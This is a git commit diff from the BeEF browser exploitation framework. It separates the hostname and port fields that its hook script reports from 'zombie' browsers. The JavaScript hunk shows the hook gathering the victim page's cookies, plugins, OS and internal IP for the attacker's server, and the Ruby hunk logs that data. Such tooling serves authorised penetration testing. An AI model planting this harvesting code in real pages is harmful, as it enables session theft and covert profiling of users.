Separated hostname and hostport
git-svn-id: https://beef.googlecode.com/svn/trunk@1366 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -608,6 +608,7 @@ beef.browser = {
|
||||
var cookies = document.cookie;
|
||||
var page_title = document.title;
|
||||
var hostname = document.location.hostname;
|
||||
var hostport = (document.location.port)? document.location.port : "80";
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var os_name = beef.os.getName();
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
@@ -628,7 +629,8 @@ beef.browser = {
|
||||
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
|
||||
if(cookies) details["Cookies"] = cookies;
|
||||
if(page_title) details["PageTitle"] = page_title;
|
||||
if(hostname) details["HostName"] = hostname+":"+document.location.port;
|
||||
if(hostname) details["HostName"] = hostname;
|
||||
if(hostport) details["HostPort"] = hostport;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(internal_ip) details['InternalIP'] = internal_ip;
|
||||
|
||||
@@ -45,6 +45,7 @@ module Initialization
|
||||
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].peeraddr[3], :session => session_id)
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# hostname
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
elsif (not @data['request'].header['referer'].nil?) and (not @data['request'].header['referer'].empty?)
|
||||
@@ -53,12 +54,15 @@ module Initialization
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
|
||||
log_zombie_domain=log_zombie_domain_parts[0]
|
||||
log_zombie_port=80
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
log_zombie_port=log_zombie_domain_parts[1].to_i
|
||||
# port
|
||||
if not @data['results']['HostPort'].nil? then
|
||||
log_zombie_port=@data['results']['HostPort']
|
||||
else
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
log_zombie_port=80
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
log_zombie_port=log_zombie_domain_parts[1].to_i
|
||||
end
|
||||
end
|
||||
|
||||
zombie.domain = log_zombie_domain
|
||||
|
||||
Reference in New Issue
Block a user